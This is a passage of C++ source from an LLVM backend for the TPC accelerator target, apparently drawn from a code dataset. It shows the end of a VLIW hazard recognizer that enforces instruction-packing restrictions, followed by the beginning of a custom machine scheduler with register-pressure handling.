isPostRA;\n unsigned PacketNum;\n const MachineFunction &MF;\n const TPCSubtarget &ST;\n DFAPacketizer *Resources;\n const ScheduleDAG *DAG;\n std::vector<SUnit*> CurrentPacket;\n std::vector<SUnit*> PrevPacket;\n\npublic:\n TPCHazardRecognizer(const InstrItineraryData *II, const ScheduleDAG *SchedDAG, bool postRA);\n ~TPCHazardRecognizer() override {\n if (Resources)\n delete Resources;\n }\n bool atIssueLimit() const override;\n void EmitInstruction(SUnit *SU) override;\n void EmitInstruction(MachineInstr *MI) override;\n HazardType getHazardType(SUnit *SU, int Stalls) override;\n void AdvanceCycle() override;\n void RecedeCycle() override;\n void Reset() override;\n\nprotected:\n bool canReserveResources(SUnit *SU);\n void reserveResources(SUnit *SU);\n void clearResources();\n bool isLegalToPacketizeTogether(SUnit *SUI, SUnit *SUJ);\n bool hasDeadDependence(const MachineInstr &I, const MachineInstr &J);\n bool hasTPCSpecificDependence(const MachineInstr &I, const MachineInstr &J);\n void dumpCurPacket();\n};\n}\n\nnamespace llvm {\n\nScheduleHazardRecognizer *createTPCHazardRecognizer(const InstrItineraryData *II, const ScheduleDAG *DAG, bool postRA) {\n return new TPCHazardRecognizer(II, DAG, postRA);\n}\n\nTPCHazardRecognizer::TPCHazardRecognizer(const InstrItineraryData *II, const ScheduleDAG *SchedDAG, bool postRA) :\n isPostRA(postRA),\n PacketNum(0),\n MF(SchedDAG->MF),\n ST(SchedDAG->MF.getSubtarget<TPCSubtarget>()),\n Resources(SchedDAG->MF.getSubtarget<TPCSubtarget>().createDFAPacketizer(II)),\n DAG(SchedDAG)\n{\n MaxLookAhead = 8;\n}\n\nvoid TPCHazardRecognizer::Reset() {\n LLVM_DEBUG(dbgs() << \" *HR* Reset Hazard Recognizer\\n\");\n clearResources();\n PacketNum = 0;\n}\n\nvoid TPCHazardRecognizer::clearResources() {\n if (CurrentPacket.size() > 0) {\n PrevPacket.clear();\n for (unsigned i=0; i<CurrentPacket.size(); i++) {\n PrevPacket.push_back(CurrentPacket[i]);\n }\n }\n Resources->clearResources();\n CurrentPacket.clear();\n}\n\nbool TPCHazardRecognizer::canReserveResources(SUnit *SU) {\n MachineInstr *MI = SU->getInstr();\n if (MI->isPseudo()) {\n return (CurrentPacket.size() < 2);\n }\n if (!Resources->canReserveResources(*MI)) {\n return false;\n }\n for (auto SUJ : CurrentPacket) {\n if (!isLegalToPacketizeTogether(SU, SUJ)) {\n return false;\n }\n }\n return true;\n}\n\nbool TPCHazardRecognizer::hasDeadDependence(const MachineInstr &I,\n const MachineInstr &J) {\n const TargetSubtargetInfo &STI = DAG->MF.getSubtarget();\n const TargetInstrInfo *HII = STI.getInstrInfo();\n\n if (HII->isPredicated(I) || HII->isPredicated(J))\n return false;\n\n BitVector DeadDefs(256);\n for (auto &MO : I.operands()) {\n if (!MO.isReg() || !MO.isDef() || !MO.isDead())\n continue;\n if (!MO.getReg().isPhysical())\n continue;\n DeadDefs[MO.getReg()] = true;\n }\n for (auto &MO : J.operands()) {\n if (!MO.isReg() || !MO.isDef() || !MO.isDead())\n continue;\n if (!MO.getReg().isPhysical())\n continue;\n unsigned R = MO.getReg();\n if (DeadDefs[R]) {\n return true;\n }\n }\n return false;\n}\n\nbool TPCHazardRecognizer::hasTPCSpecificDependence(const MachineInstr &I,\n const MachineInstr &J) {\n const TPCInstrInfo * TII = DAG->MF.getSubtarget<TPCSubtarget>().getInstrInfo();\n\n // Immediate sharing\n bool hasImmI = (TII->instHasImm(I));\n bool hasImmJ = (TII->instHasImm(J));\n bool hasImmField = (TII->instHasImmField(I) || TII->instHasImmField(J));\n if (hasImmI && hasImmJ && !hasImmField) {\n uint64_t immI = TII->getInstImm(I);\n uint64_t immJ = TII->getInstImm(J);\n if (immI != immJ) {\n LLVM_DEBUG(dbgs() << \"Imm field dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n }\n\n // LD/ST predicate sharing\n unsigned pI = 0;\n unsigned pJ = 0;\n unsigned ppI = 0;\n unsigned ppJ = 0;\n bool ldstI = (TII->isLDSTInstrWithPredicate(I, pI, ppI));\n bool ldstJ = (TII->isLDSTInstrWithPredicate(J, pJ, ppJ));\n if (ldstI && ldstJ) {\n if ((pI != pJ) || (ppI != ppJ)) {\n LLVM_DEBUG(dbgs() << \"Predicate dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n }\n\n // 1.3.4. General Restrictions\n // CACHE FLUSH/INVALIDATE or ASO with Evict and LD_G cannot be scheduled in the same VLIW instruction\n //\n {\n bool restrict1 = false;\n bool restrict2 = false;\n bool r_restrict1 = false;\n bool r_restrict2 = false;\n if (TPCII::isLoadInst(I.getDesc()) && TPCII::getSlotOpCode(I.getDesc()) == TPCII::LD_G) {\n restrict1 = true;\n }\n else if (TPCII::isLoadInst(J.getDesc()) && TPCII::getSlotOpCode(J.getDesc()) == TPCII::LD_G) {\n r_restrict1 = true;\n }\n if (restrict1) {\n switch (J.getOpcode()) {\n case TPC::CACHE_FLUSH:\n case TPC::CACHE_INVALIDATE:\n case TPC::ASO:\n restrict2 = true;\n break;\n default:;\n }\n }\n if (r_restrict1) {\n switch (I.getOpcode()) {\n case TPC::CACHE_FLUSH:\n case TPC::CACHE_INVALIDATE:\n case TPC::ASO:\n r_restrict2 = true;\n break;\n default:;\n }\n }\n\n if ((restrict1 && restrict2) || (r_restrict1 && r_restrict2)) {\n LLVM_DEBUG(dbgs() << \"CACHE and LD_G dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n }\n\n unsigned sopcI = TPCII::getSlotOpCode(I.getDesc());\n unsigned sopcJ = TPCII::getSlotOpCode(J.getDesc());\n\n\n // From PRM:\n // LOAD and STORE issue slots share the same resource (spill RAM), and cannot\n // access it simultaneously. On the LOAD issue slot, the LD_L* and LOOKUP*\n // instructions access the spill RAM. On the STORE issue slot, all ST_L*\n // instructions access this SRAM. The compiler should avoid scheduling both\n // the stated instruction on the LOAD issue slot and the stated insruction\n // on the STORE issue slot in the same VLIW instruction.\n if (TPCII::isLookupC(I.getDesc()) ||\n (TPCII::isLoadInst(I.getDesc()) && sopcI == TPCII::LOOKUP) ||\n (TPCII::isLoadInst(I.getDesc()) && (sopcI >= 11 && sopcI <= 16)) // LD_L*\n ) {\n if (TPCII::isStoreInst(J.getDesc()) && (sopcJ >= TPCII::ST_L && sopcJ <= TPCII::ST_L_V_HIGH)) { // ST_L, ST_G, LT_L_V*\n return true;\n }\n }\n if (TPCII::isLookupC(J.getDesc()) ||\n (TPCII::isLoadInst(J.getDesc()) && sopcJ == TPCII::LOOKUP) ||\n (TPCII::isLoadInst(J.getDesc()) && (sopcJ >= 11 && sopcJ <= 16)) // LD_L*\n ) {\n if (TPCII::isStoreInst(I.getDesc()) && (sopcI >= TPCII::ST_L && sopcI <= TPCII::ST_L_V_HIGH)) { // ST_L, ST_G, ST_L_V*\n return true;\n }\n }\n\n // 1.3.4. General Restrictions\n // All generations: ST_G and LD_G cannot be scheduled in the same VLIW instruction\n if (TPCII::isLoadInst(I.getDesc()) && TPCII::getSlotOpCode(I.getDesc()) == TPCII::LD_G &&\n TPCII::isStoreInst(J.getDesc()) && TPCII::getSlotOpCode(J.getDesc()) == TPCII::ST_G) {\n return true;\n }\n if (TPCII::isLoadInst(J.getDesc()) && TPCII::getSlotOpCode(J.getDesc()) == TPCII::LD_G &&\n TPCII::isStoreInst(I.getDesc()) && TPCII::getSlotOpCode(I.getDesc()) == TPCII::ST_G) {\n return true;\n }\n // All except Gen1 (Dali) ST_G and LD_G/PREFETCH cannot be scheduled in the same VLIW instruction\n if (!DAG->MF.getSubtarget<TPCSubtarget>().hasGoyaISA()) {\n if (TPCII::isLoadInst(I.getDesc()) && TPCII::getSlotOpCode(I.getDesc()) == TPCII::PREFETCH &&\n TPCII::isStoreInst(J.getDesc()) && TPCII::getSlotOpCode(J.getDesc()) == TPCII::ST_G) {\n return true;\n }\n if (TPCII::isLoadInst(J.getDesc()) && TPCII::getSlotOpCode(J.getDesc()) == TPCII::PREFETCH &&\n TPCII::isStoreInst(I.getDesc()) && TPCII::getSlotOpCode(I.getDesc()) == TPCII::ST_G) {\n return true;\n }\n }\n \n // 1.3.4. General Restrictions\n // Assertion 1: The maximum number of SRF or SPRF sources allowed\n // in 1 VLIW instruction which includes the following is 1:\n // - MOV to V or VP\n // - LD_L_V* (only for Dali)\n // - VPU instruction\n //\n // Hilla Ben Yaacov wrote on 11/03/2020:\n //\n // Let me explain the HW mechanism:\n // The instructions are decoded in SPU, and then written to an Instruction-Queue for the VPU.\n // The instructions in the Instruction-Queue have a slightly different format\n // (see sheet Vector Pipe Instruction Encoding in the ISA excel).\n //\n // In addition to the regular fields like VPU_OPCODE, LOAD_OPCODE etc.,\n // there is some meta-data coming as well.\n // You can see there the field LOAD_VPU_EMBEDDED_S.\n // This field (referred to as LD_VPU_EMBEDDED_S in other sheets of the ISA excel)\n // is used for transferring the required SRF/SPRF value to the vector pipe.\n //\n // In Goya, you can see that all 3 instructions are using the same field\n // LD_L_V, MOV from SRF/SPRF to VRF/VPRF, and VPU with SRF (you can see it on the\n // right hand side of the excel sheet).\n //\n // In Gaudi this restriction can be mitigated, because we added a separate field\n // (LD_VLM_ADDR) for LD_L_V.\n //\n // Therefore in Gaudi the restriction holds only for MOV S->V and VPU using SRF.\n\n bool ldlv_I = (TPCII::isLoadInst(I.getDesc()) &&\n (sopcI == TPCII::LD_L_V || sopcI == TPCII::LD_L_V_LOW || sopcI == TPCII::LD_L_V_HIGH));\n bool ldlv_J = (TPCII::isLoadInst(J.getDesc()) &&\n (sopcJ == TPCII::LD_L_V || sopcJ == TPCII::LD_L_V_LOW || sopcJ == TPCII::LD_L_V_HIGH));\n bool isIMovSToV = (TPCII::isLoadInst(I.getDesc()) &&\n (sopcI == TPCII::ldMOV) && TII->isScalarToVector(I));\n bool isJMovSToV = (TPCII::isLoadInst(J.getDesc()) &&\n (sopcJ == TPCII::ldMOV) && TII->isScalarToVector(J));\n if (DAG->MF.getSubtarget<TPCSubtarget>().hasGaudiISA()) {\n if (isIMovSToV || (TPCII::isVPUInst(I.getDesc()) && TII->hasSRFOrSPRFOperands(I))) {\n if (isJMovSToV || (TPCII::isVPUInst(J.getDesc()) && TII->hasSRFOrSPRFOperands(J))) {\n LLVM_DEBUG(dbgs() << \"SRF/SPRF dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n }\n } else { // Dali\n if (isIMovSToV || ldlv_I || (TPCII::isVPUInst(I.getDesc()) && TII->hasSRFOrSPRFOperands(I))) {\n if (isJMovSToV || ldlv_J || (TPCII::isVPUInst(J.getDesc()) && TII->hasSRFOrSPRFOperands(J))) {\n LLVM_DEBUG(dbgs() << \"SRF/SPRF dependency between \" << I << \" and \" << J << \"\\n\");\n return true;\n }\n }\n }\n\n // It is not allowed to schedule a ST_TNSR with RMW in the same VLIW\n // with the following VPU FP8_143 operations:\n // o MAC/MUL/ADD/SUB/MADD\n // o NEARBYINT\n // o CONVERT TO/FROM FP8_143\n // o EXTRACT_EXP\n // o FORM_FP_NUMBER\n // TODO: There's no way to calculate RMW in compile time\n // it either comes from tensor descriptor or as a value of a ST_RMW_REG.\n // What we can do is to prohibit scheduling for all st_tnsr's\n if (DAG->MF.getSubtarget<TPCSubtarget>().hasGaudiISA()) {\n if (TPCII::isStoreInst(I.getDesc()) && (sopcI >= TPCII::ST_TNSR && sopcI <= TPCII::ST_TNSR_HIGH)) {\n if (TPCII::isVPUInst(J.getDesc())) {\n int Optype = TPCII::OpType::Invalid;\n switch(sopcJ) {\n case TPCII::vpuFORM_FP_NUM:\n case TPCII::vpuNEARBYINT:\n case TPCII::vpuEXTRACT_EXP:\n case TPCII::vpuCONVERT:\n Optype = J.getOperand(2).getImm();\n break;\n case TPCII::vpuADD:\n case TPCII::vpuSUB:\n case TPCII::vpuMAC:\n case TPCII::vpuMUL:\n Optype = J.getOperand(3).getImm();\n break;\n case TPCII::vpuMADD:\n Optype = J.getOperand(4).getImm();\n break;\n }\n\n if (sopcJ == TPCII::vpuCONVERT) {\n int SW = J.getOperand(2).getImm();\n }\n }\n }\n if (TPCII::isStoreInst(J.getDesc()) && (sopcJ >= TPCII::ST_TNSR && sopcJ <= TPCII::ST_TNSR_HIGH)) {\n if (TPCII::isVPUInst(I.getDesc())) {\n int Optype = TPCII::OpType::Invalid;\n switch(sopcI) {\n case TPCII::vpuFORM_FP_NUM:\n case TPCII::vpuNEARBYINT:\n case TPCII::vpuEXTRACT_EXP:\n case TPCII::vpuCONVERT:\n Optype = I.getOperand(2).getImm();\n break;\n case TPCII::vpuADD:\n case TPCII::vpuSUB:\n case TPCII::vpuMAC:\n case TPCII::vpuMUL:\n Optype = I.getOperand(3).getImm();\n break;\n case TPCII::vpuMADD:\n Optype = I.getOperand(4).getImm();\n break;\n }\n\n if (sopcI == TPCII::vpuCONVERT) {\n int SW = I.getOperand(2).getImm();\n }\n }\n }\n }\n\n\n // 1.3.4. General Restrictions\n // Assertion 1: If a VPU instruction accepts an SRF as input :\n // - LD_L_V must not be scheduled in the same VLIW instruction.\n // - MOV from SRF to V or VP must not be scheduled in LOAD slot in the same VLIW\n // instruction.\n if (TII->isVPUInstrWithSRF(I)) {\n if (TPCII::isLoadInst(J.getDesc()) && (sopcJ == 14 || sopcJ == 15 || sopcJ == 16)) { // LD_L_V\n return true;\n }\n if (TII->isMovSRFtoVInstr(J)) {\n return true;\n }\n }\n if (TII->isVPUInstrWithSRF(J)) {\n if (TPCII::isLoadInst(I.getDesc()) && (sopcI == 14 || sopcI == 15 || sopcI == 16)) { // LD_L_V\n return true;\n }\n if (TII->isMovSRFtoVInstr(I)) {\n return true;\n }\n }\n\n return false;\n}\n\nbool TPCHazardRecognizer::isLegalToPacketizeTogether(SUnit *SUI, SUnit *SUJ) {\n assert(SUI->getInstr() && SUJ->getInstr());\n MachineInstr &I = *SUI->getInstr();\n MachineInstr &J = *SUJ->getInstr();\n\n LLVM_DEBUG(dbgs() << \"Trying \" << I);\n LLVM_DEBUG(dbgs() << \"Trying \" << J);\n\n if (I.getOpcode() == TPC::NOPv || J.getOpcode() == TPC::NOPv) {\n return false;\n }\n\n if (I.isTerminator()) {\n return false;\n }\n if (SUI == SUJ) {\n LLVM_DEBUG(dbgs() << \"Failed because the slot is already occupied by\" << J << \"\\n\");\n return false;\n }\n\n bool Dependence = hasDeadDependence(I, J);\n if (Dependence) {\n LLVM_DEBUG(dbgs() << \"Failed due to dead dependency with \" << J << \"\\n\");\n return false;\n }\n if (I.getDesc().isTerminator() && J.getDesc().isTerminator()) {\n return false;\n }\n\n Dependence = hasTPCSpecificDependence(I, J);\n if (Dependence) {\n return false;\n }\n\n if (SUJ->isSucc(SUI)) {\n for (unsigned i = 0, e = SUJ->Succs.size(); i < e; ++i) {\n const SDep &Dep = SUJ->Succs[i];\n if (Dep.getSUnit() != SUI) {\n continue;\n }\n if (Dep.getKind() == SDep::Anti) {\n continue;\n }\n if (Dep.getKind() == SDep::Output) {\n if (I.getOperand(0).getReg() != J.getOperand(0).getReg()) {\n continue;\n }\n }\n if (Dep.getKind() == SDep::Order) {\n // Ignore order dependences for now.\n continue;\n }\n if (Dep.getKind() == SDep::Data) {\n LLVM_DEBUG(dbgs() << \"Failed due to DATA dependency with \" << J << \"\\n\");\n return false;\n }\n }\n }\n\n return true;\n}\n\nvoid TPCHazardRecognizer::reserveResources(SUnit *SU) {\n MachineInstr *MI = SU->getInstr();\n if (!MI->isPseudo())\n Resources->reserveResources(*MI);\n CurrentPacket.push_back(SU);\n}\n\nvoid TPCHazardRecognizer::dumpCurPacket() {\n for (unsigned i=0; i<CurrentPacket.size(); i++) {\n SUnit *SU = CurrentPacket[i];\n (void)SU;\n LLVM_DEBUG(dbgs() << \" SU[\" << i << \"]: \" << *(SU->getInstr()));\n }\n}\n\nbool TPCHazardRecognizer::atIssueLimit() const {\n return (CurrentPacket.size() == 4);\n}\n\nvoid TPCHazardRecognizer::EmitInstruction(SUnit *SU) {\n MachineInstr *MI = SU->getInstr();\n\n if (MI) {\n LLVM_DEBUG(dbgs() << \" *HR* EmitInstruction(SUnit): \" << *MI);\n if (canReserveResources(SU)) {\n reserveResources(SU);\n LLVM_DEBUG(dbgs() << \" *HR* Added to packet:\\n\");\n dumpCurPacket();\n }\n else {\n LLVM_DEBUG(dbgs() << \" *HR* ERROR: something went wrong, no resource available\\n\");\n dumpCurPacket();\n }\n }\n else {\n LLVM_DEBUG(dbgs() << \" *HR* Start new cycle\\n\");\n }\n}\n\nvoid TPCHazardRecognizer::EmitInstruction(MachineInstr *MI) {\n if (!MI) {\n LLVM_DEBUG(dbgs() << \" *** Start new cycle\\n\");\n return;\n }\n LLVM_DEBUG(dbgs() << \"TPCHazardRecognizer :: EmitInstruction: \" << *MI);\n\n if (MI->isPseudo()) {\n return;\n }\n\n if (Resources->canReserveResources(*MI)) {\n Resources->reserveResources(*MI);\n LLVM_DEBUG(dbgs() << \" *** Added to packet\\n\");\n }\n else {\n LLVM_DEBUG(dbgs() << \" *** Start new cycle\\n\");\n }\n}\n\nstatic bool isUsingSrcD(MachineInstr *MI) {\n unsigned idx = MI->getDesc().getSchedClass();\n\n if (idx == TPC::Sched::IIC_VectorComplexOp) {\n return true;\n }\n\n return false;\n}\n\nScheduleHazardRecognizer::HazardType\nTPCHazardRecognizer::getHazardType(SUnit *SU, int Stalls) {\n MachineInstr *MI = SU->getInstr();\n ScheduleHazardRecognizer::HazardType res = NoHazard;\n LLVM_DEBUG(dbgs() << \" *HR* getHazardType (\" << Stalls << \") for \" << *MI);\n\n if (!MI) {\n return NoHazard;\n }\n\n if (canReserveResources(SU)) {\n bool LookupPrev = false;\n for (unsigned i=0; i<PrevPacket.size(); i++) {\n SUnit *SU1 = PrevPacket[i];\n MachineInstr *PMI = SU1->getInstr();\n if (TPCII::isLookupC(PMI->getDesc())) {\n LookupPrev = true;\n break;\n }\n }\n for (unsigned i=0; i<CurrentPacket.size(); i++) {\n SUnit *SU1 = CurrentPacket[i];\n MachineInstr *PMI = SU1->getInstr();\n if (TPCII::isLookupC(PMI->getDesc())) {\n LookupPrev = true;\n break;\n }\n }\n if (LookupPrev && (!TPCII::isVPUInst(MI->getDesc()) || isUsingSrcD(MI) || TPCII::isLookupC(MI->getDesc()))) {\n res = Hazard;\n LLVM_DEBUG(dbgs() << \" Hazard - LOOKUP in prev packet\\n\");\n return res;\n }\n res = NoHazard;\n LLVM_DEBUG(dbgs() << \" NoHazard - can add to current packet\\n\");\n }\n else {\n res = Hazard;\n LLVM_DEBUG(dbgs() << \" Hazard - can not add to current packet\\n\");\n }\n\n return res;\n}\n\nvoid TPCHazardRecognizer::AdvanceCycle() {\n PacketNum++;\n LLVM_DEBUG(dbgs() << \" *HR* AdvanceCycle(\" << PacketNum << \")\\n\");\n dumpCurPacket();\n clearResources();\n}\n\nvoid TPCHazardRecognizer::RecedeCycle() {\n// llvm_unreachable(\"TPC hazard recognizer does not support Bottom-Up scheduling\");\n PacketNum++;\n LLVM_DEBUG(dbgs() << \" *HR* RecedeCycle(\" << PacketNum << \")\\n\");\n dumpCurPacket();\n clearResources();\n}\n\n}\n\n" }, { "alpha_fraction": 0.6208562850952148, "alphanum_fraction": 0.624147891998291, "avg_line_length": 30.872024536132812, "blob_id": "4dfac5d3ed1ac0c098bf599be88aa5dbb1942044", "content_id": "bb5604236dacc774f178d9fe725587d910a598f7", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 42836, "license_type": "permissive", "max_line_length": 127, "num_lines": 1344, "path": "/llvm/lib/Target/TPC/TPCMachineScheduler.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCMachineScheduler.cpp ---- Custom MI Scheduler for TPC -----------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPCMachineScheduler.h\"\n#include \"llvm/CodeGen/RegisterClassInfo.h\"\n#include \"llvm/CodeGen/RegisterPressure.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineScheduler.h\"\n#include \"llvm/CodeGen/ScheduleDAGMutation.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstr.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/TargetRegisterInfo.h\"\n#include \"llvm/Support/Debug.h\"\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpcsched\"\n\nstatic cl::opt<bool> TPCIgnoreBBRegPressure(\"tpc-ignore-bb-reg-pressure\",\n cl::Hidden, cl::ZeroOrMore, cl::init(false));\n\nstatic cl::opt<bool> TPCUseFullSched(\"tpc-use-full-sched\",\n cl::Hidden, cl::ZeroOrMore, cl::init(false));\n\nstatic cl::opt<float> RPThreshold(\"tpc-reg-pressure\", cl::Hidden,\n cl::init(0.65f), cl::desc(\"High register pressure threhold.\"));\n\nstatic cl::opt<int> RPLatencyOverlap(\"tpc-sched-pending\", cl::Hidden,\n cl::init(0), cl::desc(\"Deprecated. Allow schedule pending instructions N cycles ahead.\"));\n\n#ifndef NDEBUG\nstatic cl::opt<bool> TPCViewMISchedDAGs(\"tpc-view-sched-dags\", cl::Hidden,\n cl::desc(\"Pop up a window to show MISched dags after they are processed\"));\n#else\nstatic bool TPCViewMISchedDAGs = false;\n#endif\n\nnamespace {\n\n/// TPC scheduler.\n//\nclass TPCMachineScheduler : public ScheduleDAGMILive {\npublic:\n TPCMachineScheduler(MachineSchedContext *C,\n std::unique_ptr<MachineSchedStrategy> S)\n : ScheduleDAGMILive(C, std::move(S)) {\n addMutation(std::make_unique<TPCSubtarget::TPCDAGMutation>());\n }\n\n void schedule() override;\n\n RegisterClassInfo *getRegClassInfo() { return RegClassInfo; }\n int getBBSize() { return BB->size(); }\n MachineBasicBlock* getBB() { return BB; }\n\n void dumpDAG();\n};\n\n\n/// Resource Model\n//\nclass TPCResourceModel {\n /// ResourcesModel - Represents VLIW state.\n DFAPacketizer *ResourcesModel;\n const TargetSchedModel *SchedModel;\n std::vector<SUnit*> Packet;\n unsigned TotalPackets;\n\npublic:\n std::vector<SUnit*> OldPacket;\n\npublic:\n TPCResourceModel(const TargetSubtargetInfo &STI, const TargetSchedModel *SM)\n : SchedModel(SM), TotalPackets(0) {\n ResourcesModel = STI.getInstrInfo()->CreateTargetScheduleState(STI);\n\n assert(ResourcesModel && \"Unimplemented CreateTargetScheduleState.\");\n\n Packet.resize(SchedModel->getIssueWidth());\n Packet.clear();\n OldPacket.resize(SchedModel->getIssueWidth());\n OldPacket.clear();\n ResourcesModel->clearResources();\n }\n\n ~TPCResourceModel() {\n delete ResourcesModel;\n }\n\n void resetPacketState() {\n Packet.clear();\n }\n\n void resetDFA() {\n ResourcesModel->clearResources();\n }\n\n void reset() {\n Packet.clear();\n ResourcesModel->clearResources();\n }\n\n bool isResourceAvailable(SUnit *SU);\n bool reserveResources(SUnit *SU);\n void savePacket();\n unsigned getTotalPackets() const { return TotalPackets; }\n unsigned getCurPacketSize() const { return Packet.size(); }\n\n bool isInPacket(SUnit *SU) const { return is_contained(Packet, SU); }\n};\n\n/// TPC scheduling strategy.\n///\nclass TPCSchedStrategy : public MachineSchedStrategy {\n struct SchedCandidate {\n SUnit *SU;\n RegPressureDelta RPDelta;\n int SCost;\n SchedCandidate(): SU(nullptr), SCost(0) {}\n };\n\n enum CandResult {\n NoCand, NodeOrder, SingleExcess, SingleCritical, SingleMax, MultiPressure, BestCost};\n\n struct TPCSchedBoundary {\n TPCMachineScheduler *DAG;\n const TargetSchedModel *SchedModel;\n\n ReadyQueue Available;\n\n ScheduleHazardRecognizer *HazardRec;\n TPCResourceModel *ResourceModel;\n\n unsigned CurrCycle;\n unsigned CurrCycleSlot[4];\n unsigned IssueCount;\n unsigned MinReadyCycle;\n unsigned MaxMinLatency;\n unsigned CriticalPathLength = 0;\n int NumADRFregs = 0;\n\n TPCSchedBoundary(unsigned ID, const Twine &Name):\n DAG(nullptr), SchedModel(nullptr), Available(ID, Name+\".A\"),\n HazardRec(nullptr), ResourceModel(nullptr),\n CurrCycle(0), IssueCount(0),\n MinReadyCycle(UINT_MAX), MaxMinLatency(0) {CurrCycleSlot[0]=0;CurrCycleSlot[1]=0;CurrCycleSlot[2]=0;CurrCycleSlot[3]=0;}\n\n ~TPCSchedBoundary() {\n delete ResourceModel;\n delete HazardRec;\n }\n\n void init(TPCMachineScheduler *dag, const TargetSchedModel *smodel) {\n DAG = dag;\n SchedModel = smodel;\n IssueCount = 0;\n CurrCycle = 0;\n\n CriticalPathLength = 1;\n int bbApproxSize = 0;\n for (auto &SU : DAG->SUnits) {\n if (SU.getInstr()->isPseudo() && !SU.getInstr()->isCopy()) {\n continue;\n }\n bbApproxSize++;\n }\n if (bbApproxSize < 100) {\n CriticalPathLength >>= 1;\n return;\n }\n\n unsigned MaxPath = 0;\n for (auto &SU : DAG->SUnits)\n MaxPath = std::max(MaxPath, isTop() ? SU.getHeight() : SU.getDepth());\n CriticalPathLength = std::max(CriticalPathLength, MaxPath) + 1;\n }\n\n\n bool isTop() const {\n return Available.getID() == TPCSchedStrategy::TopQID;\n }\n\n const char * getName() const {\n return (Available.getID() == TPCSchedStrategy::TopQID) ? \"Top\" : \"Bot\";\n }\n\n bool checkHazard(SUnit *SU);\n void releaseNode(SUnit *SU, unsigned ReadyCycle, bool isPostRA);\n void bumpCycle();\n void bumpNode(SUnit *SU, bool isPostRA);\n void removeReady(SUnit *SU);\n SUnit *pickOnlyChoice();\n\n bool isLatencyBound(SUnit *SU) {\n if (CurrCycle >= CriticalPathLength)\n return true;\n unsigned PathLength = isTop() ? SU->getHeight() : SU->getDepth();\n return CriticalPathLength - CurrCycle <= PathLength;\n }\n };\n\n TPCMachineScheduler *DAG;\n const TargetSchedModel *SchedModel;\n TPCSchedBoundary Top;\n TPCSchedBoundary Bot;\n SUnit * lastScheduledSU;\n std::vector<bool> HighPressureSets;\n int liveInsADRF;\npublic:\n bool isPostRA;\n enum {\n TopQID = 1,\n BotQID = 2,\n LogMaxQID = 2\n };\npublic:\n TPCSchedStrategy()\n : DAG(nullptr), SchedModel(nullptr), Top(TopQID, \"TopQ\"), Bot(BotQID, \"BotQ\"), lastScheduledSU(nullptr) {isPostRA = false;}\n ~TPCSchedStrategy() override = default;\n void initialize(ScheduleDAGMI *dag) override;\n SUnit *pickNode(bool &IsTopNode) override;\n void schedNode(SUnit *SU, bool IsTopNode) override;\n void releaseTopNode(SUnit *SU) override;\n void releaseBottomNode(SUnit *SU) override;\nprotected:\n int SchedulingCost(ReadyQueue &Q,\n SUnit *SU, SchedCandidate &Candidate,\n RegPressureDelta &Delta, bool verbose);\n\n CandResult pickNodeFromQueue(ReadyQueue &Q,\n const RegPressureTracker &RPTracker,\n SchedCandidate &Candidate);\n SUnit *pickNodeBidrectional(bool &IsTopNode);\n\n bool tryChangeSlot(SUnit *SU, bool do_change);\n int pressureChange(const SUnit *SU, bool isBotUp);\n unsigned getRegPressure(SUnit *SU, const TargetRegisterClass *RC);\n\n bool shouldTrackLaneMasks() const override { return true; }\n};\n\nclass TPCPostRASchedStrategy : public TPCSchedStrategy {\npublic:\n TPCPostRASchedStrategy()\n : TPCSchedStrategy() {isPostRA = true;}\n};\n\n}\n\nstatic inline bool isDefADRF(SUnit *SU) {\n unsigned Opcode = SU->getInstr()->getOpcode();\n if (Opcode == TPC::GEN_ADDR_ld || Opcode == TPC::GEN_ADDR_st) {\n return true;\n }\n return false;\n}\n\n#if 0\nstatic bool isHWReg(const MachineInstr &MI, unsigned OpNo) {\n const llvm::MachineFunction *MF = MI.getParent()->getParent();\n Register Reg = MI.getOperand(0).getReg();\n\n const TargetRegisterClass *TRC;\n if (Reg.isVirtual()) {\n const MachineRegisterInfo &MRI = MF->getRegInfo();\n TRC = MRI.getRegClass(Reg);\n } else {\n const TargetSubtargetInfo &STI = MF->getSubtarget();\n const TPCInstrInfo *TII = static_cast<const TPCInstrInfo *>(STI.getInstrInfo());\n const TPCRegisterInfo &RI = TII->getRegisterInfo();\n const MCInstrDesc &DefMCID = MI.getDesc();\n TRC = TII->getRegClass(DefMCID, 0, &RI, *MF);\n }\n return TRC->hasSuperClassEq(&TPC::HSRFRegClass) ||\n TRC->hasSuperClassEq(&TPC::HVRFRegClass);\n}\n\nstatic bool isHWRegProducer(const MachineInstr &MI) {\n if (MI.getNumDefs() == 1 && MI.getOperand(0).isReg())\n return isHWReg(MI, 0);\n return false;\n}\n#endif\n\nunsigned TPCSchedStrategy::getRegPressure(SUnit *SU, const TargetRegisterClass *RC) {\n unsigned res = 0;\n const llvm::MachineFunction &MF = *SU->getInstr()->getParent()->getParent();\n const TargetRegisterInfo &TRI = *MF.getSubtarget().getRegisterInfo();\n const RegPressureTracker &TopRPTracker = DAG->getTopRPTracker();\n RegPressureTracker &RPTracker = const_cast<RegPressureTracker&>(TopRPTracker);\n const int * rcps = TRI.getRegClassPressureSets(RC);\n\n std::vector<unsigned> pressure;\n std::vector<unsigned> MaxPressure;\n RPTracker.getDownwardPressure(SU->getInstr(), pressure, MaxPressure);\n int j = 0;\n while (rcps[j] >= 0 ) {\n if (res < pressure[rcps[j]]) res = pressure[rcps[j]];\n j++;\n 